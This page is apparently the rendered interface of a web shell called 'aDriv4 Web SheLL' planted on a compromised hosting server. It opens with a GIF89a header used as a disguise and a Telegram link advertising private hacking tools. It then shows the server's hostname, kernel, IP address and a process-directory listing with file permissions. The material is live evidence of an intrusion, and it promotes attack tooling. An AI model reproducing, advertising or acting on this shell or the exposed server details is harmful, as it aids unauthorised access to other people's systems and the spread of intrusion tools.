GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux business61.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 63.250.38.194
Name Type Size Owner/Group Permission Last Modified Actions
. dir - amprppcs/amprppcs 0555 2025-06-16 11:19:22
.. dir - root/root 0555 2025-06-12 08:52:12
attr dir - amprppcs/amprppcs 0555 2025-06-16 11:19:46
cwd link - amprppcs/amprppcs 0555 2025-06-16 11:19:22
fd dir - amprppcs/amprppcs 0500 2025-06-16 11:19:46
fdinfo dir - amprppcs/amprppcs 0500 2025-06-16 11:19:46
map_files dir - amprppcs/amprppcs 0500 2025-06-16 11:19:46
net dir - amprppcs/amprppcs 0555 2025-06-16 11:19:46
ns dir - amprppcs/amprppcs 0511 2025-06-16 11:19:46
root link - root/root 0755 2024-03-31 01:20:02
task dir - amprppcs/amprppcs 0555 2025-06-16 11:19:23
autogroup text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
auxv application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
cgroup text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
clear_refs 0 B amprppcs/amprppcs 0200 2025-06-16 11:19:46
cmdline application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:22
comm text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
coredump_filter text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
cpu_resctrl_groups text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
cpuset application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
environ application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
exe application/x-executable 6.11 MB root/linksafe 0755 2025-04-09 02:17:24
gid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
io text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
limits text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
loginuid text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
maps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
mem 0 B amprppcs/amprppcs 0600 2025-06-16 11:19:46
mountinfo text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
mounts text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
mountstats text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
numa_maps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
oom_adj application/octet-stream 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
oom_score text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
oom_score_adj application/octet-stream 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
pagemap application/octet-stream 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
patch_state text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
personality text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
projid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
sched text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
schedstat text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
sessionid text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
setgroups text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
smaps text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
smaps_rollup text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
stack 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
stat text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:22
statm text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
status text/plain 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:22
syscall text/plain 0 B amprppcs/amprppcs 0400 2025-06-16 11:19:46
timens_offsets text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
timers application/x-empty 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
timerslack_ns text/plain 0 B amprppcs/amprppcs 0666 2025-06-16 11:19:46
uid_map text/plain 0 B amprppcs/amprppcs 0644 2025-06-16 11:19:46
wchan application/octet-stream 0 B amprppcs/amprppcs 0444 2025-06-16 11:19:46
© aDriv4